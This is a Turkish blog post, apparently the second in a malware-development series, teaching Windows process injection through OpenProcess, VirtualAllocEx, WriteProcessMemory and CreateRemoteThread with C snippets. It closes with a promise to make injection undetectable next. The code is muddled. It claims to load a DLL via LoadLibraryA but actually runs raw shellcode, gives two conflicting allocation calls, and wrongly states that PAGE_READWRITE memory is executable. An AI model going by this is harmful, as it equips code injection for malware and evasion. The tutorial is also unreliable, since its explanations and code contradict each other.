Image

Malware giriş.

Wifi

BlackNullSec Path #2: Windows API ile Process Injection Temelleri

🚀 Amaç: Windows Belleğine Dokunmak

Bu yazıda, bir zararlının (malware) başka bir prosese nasıl "sızdığını" öğreneceğiz. İlk hedefimiz: hedef prosese MessageBox gösteren bir DLL'i enjekte etmek. Bunun için 4 temel Windows API fonksiyonu kullanacağız:

  • OpenProcess
  • VirtualAllocEx
  • WriteProcessMemory
  • CreateRemoteThread

🧠 Adım Adım Injection Zinciri

[OpenProcess] → [VirtualAllocEx] → [WriteProcessMemory] → [CreateRemoteThread]
  

1. OpenProcess

Hedef prosesin PID'si ile prosesi “açar” ve bir handle alırsın.

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1234);

2. VirtualAllocEx

Hedef prosesin belleğinde boş bir alan ayırırsın.

Not=Uzak bir Prosese(target belleginde neden yer ayırız. Cevap=Çünkü payload'ımızı (örnegin shellcode yada DLL yolu)oraya yazacagız

LPVOID remoteMem = VirtualAllocEx(hProc, NULL, 256, MEM_COMMIT, PAGE_READWRITE);
LPVOID remoteMem = VirtualAllocEx(
hProc,                    //Hedef porcess'in
NULL,                     // Başlangıç Adresi NULL dersek Sistem verir .
256,                      // Ayırmak istedigimiz bellek boyutu. 
MEM_COMMIT| MEM_RESERVE,  // Bellegi ayır ve  Başlat.
PAGE_READWRITE);          // Hem oku ve hem yaz hem çalıştır.
  
Not= CREATE_SUSPENDED Neden kullanılır.
    Cevap=Processi hemen çalıstırmamak için hemen başlarsa hemen biter.
    bize zaman kazandırır
  

3. WriteProcessMemory

DLL yolunu, az önce ayırdığın alana yazarsın.

Not=O ayıırdıgın bellege veri(ornegin shellcode)yazmak
//Shwllcode ornegi
    BYTE shellcdoe []={
                         //Shellcode yazılan yer      
    }
    SIZE_T scsize=sizeof(shellcode);
  BOOL result=WriteProcessMemory(
  hProc,            //Hedef işlem
remoteMem,          // az önce ayırdıgın adres 
 shellcode,         // yazılacak veri 
  scsize,           // Veri boyutu
   NULL);
 

4. CreateRemoteThread

Hedef proseste bir thread oluşturur ve LoadLibraryA'yı çalıştırır.

HANDLE hThread = CreateRemoteThread(
hProc,                                      //Hedef işlem
NULL,                                      // Güvenlik ayarları  
 0,                                       // Veri boyutu (0=ise varsayılandır) 
(LPTHREAD_START_ROUTINE)remoteMem,       //shellcode adresi  
0,                                      //Direk Başlat
NULL);                                  // Thread ID yoksa NULL koy 


NOT=NULL=pointer

🌍 Test Ortamında Deneme

  • Hedef olarak notepad.exe gibi güvenli bir proses seç.
  • Process Hacker ile PID’yi bul.
  • DLL’ini Visual Studio ile derle.
  • Injector kodunu hazırla ve derle.
  • Test VM içinde çalıştır ve sonucu gözlemle.

⚠️ Kritik Uyarı

Bu teknikler yalnızca eğitim amaçlıdır. Gerçek sistemlere uygulanması yasadışı olabilir. Asla gerçek ortamlarda test etme.

🌟 Sonraki Yazı: NtCreateThreadEx & Manual Mapping

Injection tekniklerini daha gizli ve tespit edilemez hale getirmek için NtCreateThreadEx ve Manual Mapping konularına geçeceğiz.

BlackNullSec
“Windows Belleğiyle Konuşan Kodlar”